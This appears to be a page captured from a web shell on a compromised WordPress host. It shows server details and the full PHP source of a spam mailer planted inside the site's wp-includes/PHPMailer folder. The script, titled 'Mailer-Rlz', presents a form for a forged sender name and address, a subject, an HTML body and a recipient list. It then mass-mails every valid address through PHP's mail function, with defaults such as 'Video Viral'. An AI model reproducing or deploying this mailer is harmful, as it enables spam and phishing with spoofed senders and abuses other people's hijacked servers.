HEX
Server: Apache
System: Linux v38079.2is.nl 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: democfellows (10015)
PHP: 8.1.34
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/creativefellows.nl/ebi.creativefellows.nl/wp-includes/PHPMailer/inc8.1.php
<?php
set_time_limit(0);

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['Enoc'])) {
    $message = $_POST['html'] ?? '';
    $subject = $_POST['assunto'] ?? '';
    $de = $_POST['de'] ?? '';
    $nombre = $_POST['RealName'] ?? '';
    $ellos = $_POST['ellos'] ?? '';

    $message = str_replace("\\\"", "\"", $message);
} else {
    $message = "<html><body><h1>Hola my friend, How are you?</h1></body></html>";
    $subject = $_SERVER["HTTP_HOST"];
    $nombre = "Video Viral";
    $de = "noreply@publimailer.com";
    $ellos = "rayelcacherin2025@outlook.es";
}

?>

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Mailer-Rlz</title>
</head>
<body style="font-family: Arial; font-size: 11px">
    <center>
        <form action="" method="post" enctype="multipart/form-data">
            <table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC">
                <tr><td>
                    <table border="0" bgcolor="#FFFFFF" width="95%">
                        <tr>
                            <td>Email: <input name="de" type="text" size="30" value="<?= htmlspecialchars($de) ?>"></td>
                            <td>Nombre: <input name="RealName" type="text" size="30" value="<?= htmlspecialchars($nombre) ?>"></td>
                        </tr>
                        <tr>
                            <td>Asunto: <input name="assunto" type="text" size="78" value="<?= htmlspecialchars($subject) ?>"></td>
                        </tr>
                        <tr>
                            <td>
                                <textarea name="html" cols="66" rows="10"><?= htmlspecialchars($message) ?></textarea>
                                <textarea name="ellos" cols="35" rows="10"><?= htmlspecialchars($ellos) ?></textarea>
                            </td>
                        </tr>
                        <tr>
                            <td><input type="submit" name="Enoc" value="Enviar"></td>
                        </tr>
                    </table>
                </td></tr>
            </table>
        </form>

        <?php
        if (!isset($_POST['Enoc'])) exit;

        $emails = explode("\n", str_replace("\r", "", $ellos));
        $son = count($emails);

        $header = "MIME-Version: 1.0\r\n";
        $header .= "Content-type: text/html; charset=UTF-8\r\n";
        $header .= "From: $nombre <$de>\r\n";
        $header .= "Reply-To: $de\r\n";

        $i = 0;
        $voy = 1;

        foreach ($emails as $email) {
            $mail = trim($email);
            $message1 = str_replace('asterisco', $mail, $message);

            if (filter_var($mail, FILTER_VALIDATE_EMAIL)) {
                if (mail($mail, $subject, $message1, $header)) {
                    echo "<p style='color: blue;'>$voy de $son: $mail - Enviado ✔</p>";
                } else {
                    echo "<p style='color: red;'>$voy de $son: $mail - Error de envío ❌</p>";
                }
            } else {
                echo "<p style='color: orange;'>$voy de $son: $mail - Email inválido ⚠</p>";
            }

            $i++;
            $voy++;
        }

        echo "<script>alert('---Todos Terminados---');</script>";
        ?>
    </center>
</body>
</html>